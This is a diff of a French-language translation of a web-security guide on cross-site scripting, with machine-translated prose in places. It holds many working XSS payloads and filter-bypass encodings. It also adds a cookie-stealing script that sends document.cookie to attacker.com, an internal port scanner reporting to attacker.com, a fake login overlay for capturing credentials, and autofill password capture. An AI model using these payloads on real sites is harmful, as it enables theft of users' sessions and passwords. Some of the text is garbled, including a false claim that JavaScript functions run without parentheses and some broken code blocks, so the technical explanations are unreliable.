+Les événements de style sont une technique couramment utilisée dans les attaques de script entre sites (XSS) pour exécuter du code malveillant sur un site web. Cette technique exploite les vulnérabilités dans la façon dont le site web traite les entrées utilisateur et les affiche sur la page.
-L'attaque XSS par événements de style consiste à injecter du code JavaScript dans les attributs de style d'un élément HTML. Lorsque le navigateur interprète le code, il exécute le script malveillant, ce qui peut entraîner des conséquences néfastes telles que le vol de données sensibles, la redirection vers des sites malveillants ou la modification du contenu de la page.
+L'attaque XSS par événements de style consiste à injecter du code JavaScript dans les attributs de style d'un élément HTML. Lorsque le navigateur interprète le code, il exécute le script malveillant, ce qui permet à l'attaquant de voler des informations sensibles, de modifier le contenu de la page ou de rediriger l'utilisateur vers un site malveillant.
-Pour se protéger contre les attaques XSS par événements de style, les développeurs doivent mettre en œuvre des mesures de sécurité telles que la validation et l'échappement appropriés des entrées utilisateur, l'utilisation de bibliothèques de sécurité pour le rendu des données et la configuration correcte des en-têtes de sécurité HTTP.
+Pour se protéger contre les attaques XSS par événements de style, les développeurs doivent mettre en œuvre des mesures de sécurité telles que la validation et l'échappement des entrées utilisateur, l'utilisation de listes blanches pour les caractères autorisés, et la désactivation des fonctionnalités dangereuses telles que l'exécution de scripts dans les attributs de style.
-Les testeurs d'intrusion peuvent utiliser cette technique pour évaluer la sécurité d'un site web et aider les développeurs à identifier et à corriger les vulnérabilités XSS potentielles. En identifiant et en exploitant ces vulnérabilités, les testeurs d'intrusion peuvent aider à renforcer la sécurité du site web et à prévenir les attaques XSS.
+Il est également recommandé d'utiliser des outils de test de sécurité, tels que les tests de pénétration, pour identifier et corriger les vulnérabilités XSS dans les applications web. En suivant ces bonnes pratiques, les développeurs peuvent réduire considérablement le risque d'attaques XSS par événements de style et protéger les utilisateurs de leurs sites web.
 ```python
 <p style="animation: x;" onanimationstart="alert()">XSS</p>
 <p style="animation: x;" onanimationend="alert()">XSS</p>
@ -319,9 +319,9 @@ Les testeurs d'intrusion peuvent utiliser cette technique pour évaluer la sécu
 Même si vous **ne pouvez pas échapper à l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée, **si vous contrôlez toute la valeur ou seulement une partie**, vous pourrez l'exploiter. Par **exemple**, si vous contrôlez un événement tel que `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
 Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
-**Contourner l'événement en utilisant l'encodage HTML/l'encodage d'URL**
+**Contournement à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage URL**
-Les caractères **encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (la charge utile est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+Les **caractères encodés en HTML** à l'intérieur de la valeur des attributs des balises HTML sont **décodés à l'exécution**. Par conséquent, quelque chose comme ce qui suit sera valide (la charge utile est en gras) : `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 Notez que **tout type d'encodage HTML est valide** :
 ```javascript
@ -370,7 +370,7 @@ To prevent this type of attack, it is important to properly sanitize and validat
 ---
-**Contourner l'événement interne en utilisant l'encodage Unicode**
+**Contournement de l'événement interne en utilisant l'encodage Unicode**
 ---
@ -380,11 +380,11 @@ Cette technique consiste à contourner la validation des entrées côté client
 ### Vulnérabilité
-Les vulnérabilités de type Cross-Site Scripting (XSS) se produisent lorsque les entrées utilisateur ne sont pas correctement nettoyées et sont affichées sur une page web sans un encodage approprié. Cela permet à un attaquant d'injecter du code malveillant qui sera exécuté par le navigateur de la victime.
+Les vulnérabilités de type Cross-Site Scripting (XSS) se produisent lorsque les entrées utilisateur ne sont pas correctement désinfectées et sont affichées sur une page web sans un encodage approprié. Cela permet à un attaquant d'injecter du code malveillant qui sera exécuté par le navigateur de la victime.
 ### Exploitation
-1. Identifier un champ d'entrée vulnérable où l'application ne nettoie pas correctement les entrées utilisateur.
+1. Identifier un champ d'entrée vulnérable où l'application ne désinfecte pas correctement les entrées utilisateur.
 2. Créer une charge utile en utilisant l'encodage Unicode pour contourner les filtres ou les mécanismes de validation des entrées.
 3. Injecter la charge utile dans le champ d'entrée vulnérable.
 4. Soumettre le formulaire ou déclencher l'événement qui affichera la charge utile injectée sur la page web.
@ -392,7 +392,7 @@ Les vulnérabilités de type Cross-Site Scripting (XSS) se produisent lorsque le
 ### Prévention
-Pour prévenir ce type d'attaque, il est important de nettoyer et de valider correctement toutes les entrées utilisateur avant de les afficher sur une page web. Cela peut être fait en mettant en place des mécanismes de validation des entrées et en utilisant des techniques d'encodage de sortie pour s'assurer que les entrées utilisateur sont correctement encodées.
+Pour prévenir ce type d'attaque, il est important de désinfecter et de valider correctement toutes les entrées utilisateur avant de les afficher sur une page web. Cela peut être fait en mettant en place des mécanismes de validation des entrées et en utilisant des techniques d'encodage de sortie pour s'assurer que les entrées utilisateur sont correctement encodées.
 ```javascript
 //For some reason you can use unicode to encode "alert" but not "(1)"
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -444,7 +444,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Autres astuces d'obfuscation**
-_**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section précédente sont également valables car vous vous trouvez à l'intérieur d'un attribut.**_
+_**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section précédente sont également valables car vous êtes à l'intérieur d'un attribut.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
@ -454,11 +454,11 @@ De plus, il existe une autre **astuce intéressante** pour ces cas : **Même si
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Notez que si vous essayez d'utiliser à la fois `URLencode + HTMLencode` dans n'importe quel ordre pour encoder la **charge utile**, cela **ne fonctionnera pas**, mais vous pouvez **les mélanger à l'intérieur de la charge utile**.
+Notez que si vous essayez d'utiliser à la fois `URLencode + HTMLencode` dans n'importe quel ordre pour encoder la **charge utile**, cela **ne fonctionnera pas**, mais vous pouvez les **mélanger à l'intérieur de la charge utile**.
 **Utilisation de l'encodage hexadécimal et octal avec `javascript:`**
-Vous pouvez utiliser l'encodage **hexadécimal** et **octal** à l'intérieur de l'attribut `src` de `iframe` (au moins) pour déclarer des **balises HTML à exécuter en JS**:
+Vous pouvez utiliser l'encodage **hexadécimal** et **octal** à l'intérieur de l'attribut `src` de la balise `iframe` (au moins) pour déclarer des **balises HTML à exécuter en JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@ -491,7 +491,7 @@ Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbi
 ### Contournement des gestionnaires d'événements
 Tout d'abord, consultez cette page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pour des **gestionnaires d'événements** utiles commençant par "on".\
-Si une liste noire vous empêche de créer ces gestionnaires d'événements, vous pouvez essayer les contournements suivants:
+Si une liste noire empêche la création de ces gestionnaires d'événements, vous pouvez essayer les contournements suivants:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@ -549,9 +549,9 @@ Lisez les [contournements de liste noire JavaScript de la section suivante](./#t
 Si vous trouvez une **XSS dans une toute petite partie** du site web qui nécessite une certaine interaction (peut-être un petit lien dans le pied de page avec un élément onmouseover), vous pouvez essayer de **modifier l'espace occupé par cet élément** pour maximiser les chances que le lien soit activé.
-Par exemple, vous pourriez ajouter un style à l'élément comme ceci : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+Par exemple, vous pourriez ajouter un peu de style à l'élément comme ceci : `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
-Mais si le pare-feu d'application web (WAF) filtre l'attribut style, vous pouvez utiliser des gadgets de style CSS. Ainsi, si vous trouvez, par exemple :
+Mais si le WAF filtre l'attribut style, vous pouvez utiliser des gadgets de style CSS. Ainsi, si vous trouvez, par exemple :
 > .test {display:block; color: blue; width: 100%\}
@ -563,7 +563,7 @@ Maintenant, vous pouvez modifier notre lien et le mettre sous la forme suivante
 > \<a href=”” id=someid class=test onclick=alert() a=””>
-Cette astuce a été tirée de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
+Cette astuce a été prise sur [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 ## Injection dans le code JavaScript
@ -605,13 +605,15 @@ loop``````````````
 L'exécution de code encodé est une technique couramment utilisée dans les attaques de type Cross-Site Scripting (XSS). Elle consiste à encoder le code malveillant de manière à contourner les filtres de sécurité et à exécuter du code sur le navigateur de la victime.
-L'encodage du code peut être réalisé de différentes manières, telles que l'encodage HTML, l'encodage URL ou l'encodage JavaScript. L'objectif est de masquer le code malveillant afin qu'il ne soit pas détecté par les mécanismes de sécurité en place.
+L'objectif principal de cette technique est de tromper les mécanismes de sécurité qui filtrent les entrées utilisateur. En encodant le code malveillant, il devient plus difficile pour les filtres de détecter et de bloquer le code dangereux.
-Une fois que le code encodé est injecté dans une page web, il est décodé et exécuté par le navigateur de la victime. Cela permet à l'attaquant d'exécuter des actions malveillantes, telles que voler des informations sensibles, rediriger l'utilisateur vers des sites frauduleux ou même prendre le contrôle complet du navigateur.
+Il existe plusieurs méthodes d'encodage couramment utilisées, telles que l'encodage HTML, l'encodage URL et l'encodage JavaScript. Chaque méthode a ses propres caractéristiques et est utilisée en fonction du contexte de l'attaque.
-Pour se protéger contre les attaques d'exécution de code encodé, il est essentiel de mettre en place des filtres de sécurité appropriés qui détectent et bloquent les tentatives d'injection de code malveillant. Il est également recommandé de valider et de filtrer toutes les entrées utilisateur afin de prévenir les attaques XSS.
+Lors de l'exploitation d'une vulnérabilité XSS basée sur l'exécution de code encodé, l'attaquant peut injecter du code malveillant dans une application web. Ce code sera ensuite exécuté sur le navigateur de la victime lorsqu'elle accède à la page infectée.
-En résumé, l'exécution de code encodé est une technique d'attaque XSS qui permet à un attaquant d'injecter et d'exécuter du code malveillant sur le navigateur d'une victime en utilisant des techniques d'encodage pour contourner les filtres de sécurité. La mise en place de mesures de sécurité appropriées est essentielle pour se protéger contre cette menace.
+Pour se protéger contre cette technique, il est essentiel de mettre en place des mécanismes de filtrage et de validation des entrées utilisateur. Les filtres de sécurité doivent être capables de détecter et de bloquer les tentatives d'injection de code malveillant, même lorsqu'il est encodé.
 Il est également recommandé de sensibiliser les développeurs et les utilisateurs aux risques liés aux attaques XSS et de leur fournir des bonnes pratiques pour se protéger contre ces attaques.
 ```markup
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
@ -724,9 +726,9 @@ Il est important de noter que les substitutions d'espaces ne sont qu'une des nom
 ---
-When injecting JavaScript code into a web application, it is important to understand how new lines are handled. In some cases, new lines can be used to bypass filters and execute malicious code.
+When injecting JavaScript code into a web application, it is important to understand how new lines are interpreted. In some cases, new lines can be used to bypass input filters and execute malicious code.
-Lors de l'injection de code JavaScript dans une application web, il est important de comprendre comment les sauts de ligne sont gérés. Dans certains cas, les sauts de ligne peuvent être utilisés pour contourner les filtres et exécuter du code malveillant.
+Lors de l'injection de code JavaScript dans une application web, il est important de comprendre comment les sauts de ligne sont interprétés. Dans certains cas, les sauts de ligne peuvent être utilisés pour contourner les filtres de saisie et exécuter du code malveillant.
 ---
@ -741,9 +743,15 @@ alert(name);
 </script>
 ```
-In this case, the JavaScript code will execute without any issues. However, if we try to inject a new line character, like this:
+In this case, the JavaScript code will execute correctly and display an alert box with the value of the `name` variable.
-Dans ce cas, le code JavaScript s'exécutera sans problème. Cependant, si nous essayons d'injecter un caractère de saut de ligne, comme ceci :
+Dans ce cas, le code JavaScript s'exécutera correctement et affichera une boîte d'alerte avec la valeur de la variable `name`.
 ---
 However, if we inject the code with a new line character, like this:
 Cependant, si nous injectons le code avec un caractère de saut de ligne, comme ceci :
 ```html
 <script>
@ -752,31 +760,50 @@ alert(name);
 </script>
 ```
-The code will break and produce an error. To bypass this, we can use the following JavaScript trick:
+The code will not execute as expected. This is because the new line character breaks the JavaScript syntax.
-Le code se cassera et produira une erreur. Pour contourner cela, nous pouvons utiliser l'astuce JavaScript suivante :
+Le code ne s'exécutera pas comme prévu. Cela est dû au fait que le caractère de saut de ligne rompt la syntaxe JavaScript.
 ---
 To bypass this limitation, we can use the JavaScript new line trick. By using the `\` character followed by a new line character, we can continue the code execution on the next line.
 Pour contourner cette limitation, nous pouvons utiliser la technique du saut de ligne JavaScript. En utilisant le caractère `\` suivi d'un caractère de saut de ligne, nous pouvons continuer l'exécution du code à la ligne suivante.
 ---
 Here's an example:
 Voici un exemple :
 ```html
 <script>
-var name = "John";\nalert(name);
+var name = "John";\
 alert(name);
 </script>
 ```
-By adding the escape sequence `\n`, we can inject a new line character without breaking the code. This can be useful when trying to bypass filters that block certain characters or patterns.
+In this case, the code will execute correctly and display the alert box.
-En ajoutant la séquence d'échappement `\n`, nous pouvons injecter un caractère de saut de ligne sans casser le code. Cela peut être utile lorsque vous essayez de contourner des filtres qui bloquent certains caractères ou motifs.
+Dans ce cas, le code s'exécutera correctement et affichera la boîte d'alerte.
 ---
-It is important to note that different web applications may handle new lines differently. Therefore, it is essential to test the behavior of new lines in the specific application you are targeting.
+By using the JavaScript new line trick, we can bypass input filters that may be looking for specific patterns or keywords.
-Il est important de noter que différentes applications web peuvent gérer les sauts de ligne différemment. Il est donc essentiel de tester le comportement des sauts de ligne dans l'application spécifique que vous ciblez.
+En utilisant la technique du saut de ligne JavaScript, nous pouvons contourner les filtres de saisie qui peuvent rechercher des motifs ou des mots-clés spécifiques.
 ---
-For more information on XSS and other web application vulnerabilities, refer to the [OWASP](https://owasp.org/) website.
+It is important to note that this technique may not work in all scenarios, as it relies on the specific implementation of the JavaScript interpreter.
-Pour plus d'informations sur les XSS et autres vulnérabilités des applications web, consultez le site [OWASP](https://owasp.org/).
+Il est important de noter que cette technique peut ne pas fonctionner dans tous les scénarios, car elle repose sur la mise en œuvre spécifique de l'interpréteur JavaScript.
 ---
 Therefore, it is recommended to thoroughly test the code injection in different browsers and environments to ensure its effectiveness.
 Par conséquent, il est recommandé de tester minutieusement l'injection de code dans différents navigateurs et environnements pour en garantir l'efficacité.
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@ -784,15 +811,15 @@ String.fromCharCode(13); alert('//\ralert(1)') //0x0d
 String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
 String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
 ```
-**Espaces blancs en JavaScript**
+**Espaces blancs JavaScript**
-Les espaces blancs en JavaScript se réfèrent à tout caractère non visible qui est utilisé pour formater le code et améliorer la lisibilité. Les espaces blancs comprennent les espaces, les tabulations, les sauts de ligne et les commentaires.
+Les espaces blancs en JavaScript se réfèrent aux caractères non visibles tels que les espaces, les tabulations et les sauts de ligne. Ces espaces blancs peuvent être utilisés de manière malveillante dans les attaques de script intersite (XSS) pour contourner les filtres de sécurité et exécuter du code JavaScript non autorisé sur un site web.
-Les espaces blancs sont ignorés par l'interpréteur JavaScript, ce qui signifie qu'ils n'affectent pas le fonctionnement du code. Cependant, ils sont importants pour rendre le code plus lisible et faciliter la compréhension.
+Les attaquants peuvent insérer des espaces blancs dans du code JavaScript pour masquer des caractères malveillants ou des balises HTML. Cela peut tromper les filtres de sécurité qui ne détectent pas les espaces blancs comme des caractères dangereux. Par conséquent, le code JavaScript malveillant peut être exécuté sans être bloqué.
-Il est recommandé d'utiliser des espaces blancs de manière cohérente dans votre code JavaScript pour améliorer sa lisibilité. Cela peut inclure l'indentation appropriée, l'alignement des éléments et l'utilisation de sauts de ligne pour séparer les blocs de code.
+Pour se protéger contre les attaques XSS basées sur les espaces blancs, il est essentiel de mettre en place des filtres de sécurité appropriés qui détectent et bloquent les caractères malveillants, y compris les espaces blancs. De plus, il est recommandé de valider et d'échapper correctement les données d'entrée pour éviter toute injection de code non autorisée.
-En résumé, les espaces blancs en JavaScript sont des caractères non visibles utilisés pour formater le code et améliorer sa lisibilité. Ils sont ignorés par l'interpréteur JavaScript mais jouent un rôle important dans la clarté du code.
+En résumé, les espaces blancs en JavaScript peuvent être utilisés de manière malveillante dans les attaques XSS pour contourner les filtres de sécurité. Il est important de mettre en place des mesures de sécurité appropriées pour détecter et bloquer les caractères malveillants, y compris les espaces blancs, afin de prévenir les attaques XSS.
 ```javascript
 log=[];
 function funct(){}
@ -832,22 +859,25 @@ Pour prévenir cette vulnérabilité, assurez-vous de filtrer et d'échapper cor
 ```
 **JavaScript sans parenthèses**
-L'une des techniques couramment utilisées en XSS (Cross-Site Scripting) consiste à exécuter du code JavaScript sans utiliser de parenthèses. Cette technique est souvent utilisée pour contourner les filtres de sécurité et injecter du code malveillant dans une application web.
+Lorsque vous écrivez du code JavaScript, vous utilisez souvent des parenthèses pour appeler des fonctions ou exécuter des expressions. Cependant, il existe une astuce pour exécuter du code JavaScript sans utiliser de parenthèses.
-L'idée principale derrière cette technique est d'exploiter les contextes où le code JavaScript peut être exécuté sans l'utilisation de parenthèses. Par exemple, dans les balises HTML telles que `<script>` ou `<img>`, il est possible d'inclure du code JavaScript sans utiliser de parenthèses.
+Au lieu d'utiliser des parenthèses, vous pouvez utiliser l'opérateur d'appel de fonction `()` pour exécuter une fonction ou une expression. Par exemple, au lieu d'écrire `myFunction()`, vous pouvez écrire `myFunction`.
-Voici un exemple de code JavaScript sans parenthèses :
+Voici un exemple pour illustrer cette astuce :
 ```javascript
-<script>
+// Utilisation de parenthèses
-  var payload = 'alert("XSS")';
+console.log("Hello World");
-  eval(payload);
+
-</script>
+// Utilisation de l'opérateur d'appel de fonction
 console.log "Hello World";
 ```
-Dans cet exemple, la variable `payload` contient le code JavaScript que nous voulons exécuter. En utilisant la fonction `eval()`, nous pouvons exécuter ce code sans utiliser de parenthèses.
+Dans cet exemple, les deux lignes de code produiront la même sortie, qui est "Hello World". L'utilisation de l'opérateur d'appel de fonction sans parenthèses est une façon concise d'exécuter du code JavaScript.
-Il est important de noter que l'utilisation de cette technique peut être dangereuse, car elle permet à un attaquant d'exécuter du code arbitraire sur le navigateur de la victime. Par conséquent, il est essentiel de mettre en place des mesures de sécurité appropriées pour prévenir les attaques XSS.
+Cependant, il est important de noter que cette astuce ne fonctionne que lorsque vous appelez une fonction ou exécutez une expression sans aucun argument. Si vous avez besoin de passer des arguments à une fonction, vous devrez utiliser des parenthèses.
 En résumé, vous pouvez exécuter du code JavaScript sans utiliser de parenthèses en utilisant l'opérateur d'appel de fonction `()`. Cela peut rendre votre code plus concis et plus lisible dans certains cas.
 ````javascript
 // By setting location
 window.location='javascript:alert\x281\x29'
@ -1053,7 +1083,7 @@ Une XSS se produit.
 ```
 ### XSS avec injection d'en-tête dans une réponse 302
-Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pouvez essayer de **faire exécuter du code JavaScript arbitraire par le navigateur**. Cela n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut de la réponse HTTP est 302, donc une charge utile de cross-site scripting est inutile.
+Si vous découvrez que vous pouvez **injecter des en-têtes dans une réponse de redirection 302**, vous pouvez essayer de **faire exécuter du JavaScript arbitraire par le navigateur**. Cela n'est **pas trivial** car les navigateurs modernes n'interprètent pas le corps de la réponse HTTP si le code de statut de la réponse HTTP est 302, donc une charge utile de script entre sites est inutile.
 Dans [**ce rapport**](https://www.gremwell.com/firefox-xss-302) et [**celui-ci**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/), vous pouvez lire comment tester plusieurs protocoles à l'intérieur de l'en-tête Location et voir si l'un d'entre eux permet au navigateur d'inspecter et d'exécuter la charge utile XSS à l'intérieur du corps.\
 Protocoles connus : `mailto://`, `//x:1/`, `ws://`, `wss://`, en-tête Location vide, `resource://`.
@ -1157,11 +1187,11 @@ Ce comportement a été utilisé dans [**ce compte rendu**](https://github.com/z
 * application/rss+xml (off)
 * application/atom+xml (off)
-Dans d'autres navigateurs, d'autres **`Types de contenu`** peuvent être utilisés pour exécuter du JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+Dans d'autres navigateurs, d'autres **`Types de contenu`** peuvent être utilisés pour exécuter du code JS arbitraire, vérifiez : [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 ### Type de contenu xml
-Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un espace de noms et d'exécuter du JS arbitraire :
+Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un espace de noms et d'exécuter du code JS arbitraire :
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -1321,23 +1351,24 @@ Pour prévenir les attaques XSS, il est important de mettre en place les mesures
 1. Échapper les caractères spéciaux : les données provenant des utilisateurs doivent être correctement échappées pour empêcher l'exécution de code malveillant.
 2. Valider et filtrer les entrées utilisateur : toutes les entrées utilisateur doivent être validées et filtrées pour s'assurer qu'elles ne contiennent pas de code malveillant.
 3. Utiliser des bibliothèques de sécurité : utilisez des bibliothèques de sécurité telles que OWASP ESAPI pour faciliter l'échappement des caractères spéciaux et la validation des entrées utilisateur.
-4. Mettre en place des politiques de sécurité des navigateurs : configurez les en-têtes de réponse HTTP pour limiter les risques de XSS.
+4. Mettre en place des CSP (Content Security Policies) : les CSP permettent de définir des règles strictes sur les types de contenu autorisés sur une page Web, limitant ainsi les risques d'injection de code malveillant.
 5. Sensibiliser les développeurs : les développeurs doivent être conscients des risques de XSS et être formés aux meilleures pratiques de sécurité.
 ## Exemple de code XSS
-Le code suivant est un exemple de code XSS réfléchi :
+Voici un exemple de code XSS qui exploite une vulnérabilité de type XSS réfléchi :
-```javascript
+```html
 <script>
-  alert('Ce site a été piraté !');
+  var payload = '<img src="http://attacker.com/steal?cookie=' + document.cookie + '">';
-  // Code malveillant supplémentaire...
+  document.write(payload);
 </script>
 ```
-Ce code est injecté dans une page Web et s'exécute côté client lorsque la victime consulte la page. Il peut être utilisé pour voler des informations sensibles ou rediriger l'utilisateur vers des sites Web malveillants.
+Ce code injecte une balise `<img>` avec une source pointant vers un site contrôlé par l'attaquant. Lorsque la victime consulte la page, son cookie est envoyé à l'attaquant.
-Pour prévenir ce type d'attaque, il est essentiel de valider et filtrer toutes les entrées utilisateur et d'échapper correctement les caractères spéciaux lors de l'affichage des données sur une page Web.
+## Conclusion
 Le XSS est une vulnérabilité dangereuse qui peut compromettre la sécurité des utilisateurs d'une application Web. Il est essentiel de mettre en place des mesures de prévention appropriées pour éviter les attaques XSS.
 ```javascript
 // It's also possible to execute JS code only with the chars: []`+!${}
@ -1471,7 +1502,7 @@ Here's how you can use the script:
 node port-scanner-fetch.js <target_host> <start_port> <end_port>
 ```
-Replace `<target_host>` with the IP address or domain name of the target system. `<start_port>` and `<end_port>` should be replaced with the range of ports you want to scan.
+Replace `<target_host>` with the IP address or domain name of the target system. `<start_port>` and `<end_port>` specify the range of ports to scan.
 For example, to scan ports 1 to 100 on the target system with IP address `192.168.0.1`, you would run the following command:
@ -1481,48 +1512,37 @@ node port-scanner-fetch.js 192.168.0.1 1 100
 The script will then display a list of open ports on the target system.
-Note: This script should only be used for legitimate purposes, such as network administration or penetration testing with proper authorization. Unauthorized port scanning is illegal and can result in severe consequences.
+Note: Port scanning can be considered intrusive and may be illegal without proper authorization. Always ensure that you have permission to perform port scanning before using this script.
 ```javascript
 const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 ```
 ### Scanner de ports (websockets)
-This tool is a port scanner specifically designed for websockets. It allows you to scan for open ports on a target server that supports the websocket protocol. The scanner sends a connection request to each port and waits for a response. If a response is received, it means that the port is open and the websocket service is running.
+---
 #### Description
 This tool is a port scanner specifically designed for websockets. It allows you to scan for open ports on a target server that are specifically used for websocket communication.
 #### Usage
-To use the port scanner, you need to provide the target server's IP address and the range of ports you want to scan. The scanner will then attempt to connect to each port within the specified range.
+To use this tool, you need to provide the target server's IP address and the range of ports you want to scan. The tool will then attempt to establish a websocket connection on each port within the specified range and determine if it is open or closed.
 Here is an example command:
 ```
-python port_scanner.py <target_ip> <start_port> <end_port>
+python port_scanner.py --target 192.168.0.1 --ports 8000-9000
 ```
-Replace `<target_ip>` with the IP address of the server you want to scan. `<start_port>` and `<end_port>` should be replaced with the range of ports you want to scan. For example, to scan ports 1 to 100 on a server with IP address 192.168.0.1, you would run:
+In this example, the tool will scan the target server with IP address `192.168.0.1` for open websocket ports within the range of `8000` to `9000`.
-```
+#### Output
 python port_scanner.py 192.168.0.1 1 100
 ```
-The scanner will display the status of each port it scans, indicating whether it is open or closed. It will also provide a summary at the end, showing the total number of open ports found.
+The tool will display the results of the port scan, indicating which ports are open and which are closed. It will also provide additional information such as the response received from the server on each port.
-#### Example
+#### Limitations
-```
+Please note that this tool is specifically designed for scanning websockets and may not work properly with other types of ports or protocols. Additionally, keep in mind that scanning ports without proper authorization may be illegal and could result in legal consequences. Always ensure you have proper authorization before conducting any port scanning activities.
 $ python port_scanner.py 192.168.0.1 1 100
 Scanning ports 1 to 100 on 192.168.0.1...
 Port 22: Open
 Port 80: Closed
 Port 443: Open
 Summary:
 Total open ports: 2
 ```
 #### Disclaimer
 This port scanner is intended for use in authorized penetration testing or educational purposes only. Any unauthorized use of this tool is strictly prohibited. The author is not responsible for any misuse or damage caused by this tool.
 ```python
 var ports = [80, 443, 445, 554, 3306, 3690, 1234];
 for(var i=0; i<ports.length; i++) {
@ -1541,23 +1561,23 @@ _Les temps courts indiquent un port qui répond_ _Les temps plus longs indiquent
 Consultez la liste des ports interdits dans Chrome [**ici**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) et dans Firefox [**ici**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
-### Boîte pour demander des identifiants
+### Boîte pour demander les identifiants
 ```markup
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
 ### Capture des mots de passe auto-remplis
-Lors de tests d'intrusion sur des applications web, il est courant d'exploiter des vulnérabilités de type Cross-Site Scripting (XSS) pour capturer les mots de passe auto-remplis. Cette technique permet à un attaquant de récupérer les informations sensibles stockées dans le navigateur de la victime.
+Lors de tests d'intrusion sur des applications web, il est courant de rechercher des vulnérabilités de type Cross-Site Scripting (XSS). L'une des variantes les plus intéressantes de cette vulnérabilité est l'exploitation des mots de passe auto-remplis.
-L'attaque XSS consiste à injecter du code malveillant dans une application web, qui sera ensuite exécuté par le navigateur de la victime. Lorsque la victime visite une page contenant le code malveillant, celui-ci peut être utilisé pour capturer les mots de passe auto-remplis stockés dans le navigateur.
+Lorsque les utilisateurs enregistrent leurs informations de connexion sur un site web, leur navigateur propose souvent de les sauvegarder pour un remplissage automatique ultérieur. Cela peut être pratique pour les utilisateurs, mais cela peut également représenter une faille de sécurité si le site web est vulnérable à une attaque XSS.
-Pour exploiter cette vulnérabilité, l'attaquant peut utiliser différentes techniques, telles que l'injection de code JavaScript dans les champs de saisie de formulaire ou l'exploitation de failles de sécurité dans les bibliothèques JavaScript utilisées par l'application.
+L'attaque consiste à injecter un script malveillant dans un champ de saisie du site web, qui sera ensuite exécuté lorsque le navigateur remplira automatiquement les informations de connexion. Le script peut être conçu pour capturer les informations de connexion, telles que les noms d'utilisateur et les mots de passe, et les envoyer à un attaquant.
-Une fois que l'attaquant a réussi à capturer les mots de passe auto-remplis, il peut les utiliser pour accéder aux comptes des victimes ou pour effectuer d'autres attaques plus avancées.
+Pour exploiter cette vulnérabilité, un attaquant doit identifier un point d'injection XSS sur le site web cible. Cela peut être un champ de saisie de formulaire, un champ de commentaire ou tout autre élément interactif qui accepte des entrées utilisateur. Une fois le point d'injection identifié, l'attaquant peut injecter un script malveillant qui sera exécuté lors du remplissage automatique des informations de connexion.
-Pour se protéger contre cette attaque, il est recommandé de mettre en place des mesures de sécurité telles que la validation et l'échappement des données saisies par les utilisateurs, ainsi que l'utilisation de mécanismes de protection tels que les tokens anti-CSRF.
+Il est important de noter que cette attaque ne fonctionnera que si le site web est vulnérable à une attaque XSS. Les développeurs doivent mettre en place des mesures de sécurité appropriées pour prévenir les attaques XSS, telles que la validation et l'échappement des entrées utilisateur.
